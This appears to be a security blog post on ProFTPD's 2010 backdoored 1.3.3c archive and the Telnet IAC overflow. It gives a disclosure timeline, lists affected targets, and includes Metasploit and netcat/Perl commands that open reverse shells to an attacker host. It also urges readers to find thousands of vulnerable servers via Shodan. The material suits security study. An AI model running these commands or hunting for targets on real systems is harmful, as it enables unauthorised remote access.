proftpd-1.3.3c from the dates of 2010-11-28 to 2010-12-02
Tested on Ubuntu 10.0.4 LTS with :
proftpd-1.3.3c patched with diff
Description :
This module exploits a malicious backdoor that was added to the ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz] archive between November 28th 2010 and 2nd December 2010.
Commands :
use exploit/unix/ftp/proftpd_133c_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.178.21
exploit
Vulnerability reported to vendor by ZDI the 2010-09-24
Coordinated public release of advisory the 2010-11-02
Metasploit exploit released the 2010-11-05
Exploit-DB exploit released the 2010-11-07
PoC provided by :
jduck for Metasploit exploit
Kingcope for Exploit-DB exploit
This module exploits a stack-based buffer overflow in versions of ProFTPD server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a large number of Telnet IAC commands, an attacker can corrupt memory and execute arbitrary code.
Metasploit Demo :
use exploit/linux/ftp/proftp_telnet_iac
set RHOST 192.168.178.40
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit
sysinfo
getuid
ipconfig
Exploit-DB demo :
nc -lvn 45295
perl proftpd_iac.pl 192.168.178.40 192.168.178.21 5
id
uname -a
ifconfig
ZDI has discovered, the 2010-09-24, a vulnerability for ProFTPdversions between 1.3.2rc3 and 1.3.3b. This vulnerability, Telnet IAC, allow a remote attacker to execute arbitraty remote code on vulnerable installations of ProFTPD without authentication.
The 2010-11-02, ZDI and ProFTPD teams have release coordinated advisories (ZDI-10-229) and version 1.3.3c fixing the Telnet IAC remote exploit.
As always, security researchers have jump on the advisories to create valid public PoC or exploit.
Rapid7 Team, between jduck, has integrate into Metasploit, the 2010-11-04, a valid exploit targeting :
ProFTPD 1.3.2c (distro binary) on Ubuntu 10.04 i386
The 2010-11-07, Kingcope has release on Exploit-DB (EDB-ID-15449) a valid exploit for :
ProFTPD 1.3.3a on FreeBSD 8.1 i386
ProFTPD 1.3.2a/e/c on FreeBSD 8.0/7.3/7.2 i386
ProFTPD 1.3.2e (Plesk binary) on Debian GNU/Linux 5.0
ProFTPD 1.3.3 (Plesk binary) on Debian GNU/Linux 5.0
ProFTPD 1.3.2e (Plesk binary) on Debian GNU/Linux 4.0
ProFTPD 1.3.3a (distro binary) on Debian Linux Squeeze/sid
ProFTPD 1.3.2e (Plesk binary) on SUSE Linux 9.3
ProFTPD 1.3.2e (Plesk binary) on SUSE Linux 10.0/10.3
ProFTPD 1.3.2e (Plesk binary) on SUSE Linux 10.2
ProFTPD 1.3.2e (Plesk binary) on SUSE Linux 11.0
ProFTPD 1.3.2e (Plesk binary) on SUSE Linux 11.1
ProFTPD 1.3.2e (Plesk binary) on SUSE Linux SLES 10
ProFTPD 1.3.2e (Plesk binary) on CentOS 5
What is interesting in the Kingcope exploit, is to see all the “Plesk binaries” impacted by the vulnerability. At least all Plesk versions between 9.5 and 10.0 included are vulnerables. Just play with Shodan and you will get a list of thousands vulnerables servers.
Here under a demonstration video of the both exploits.
Recent Comments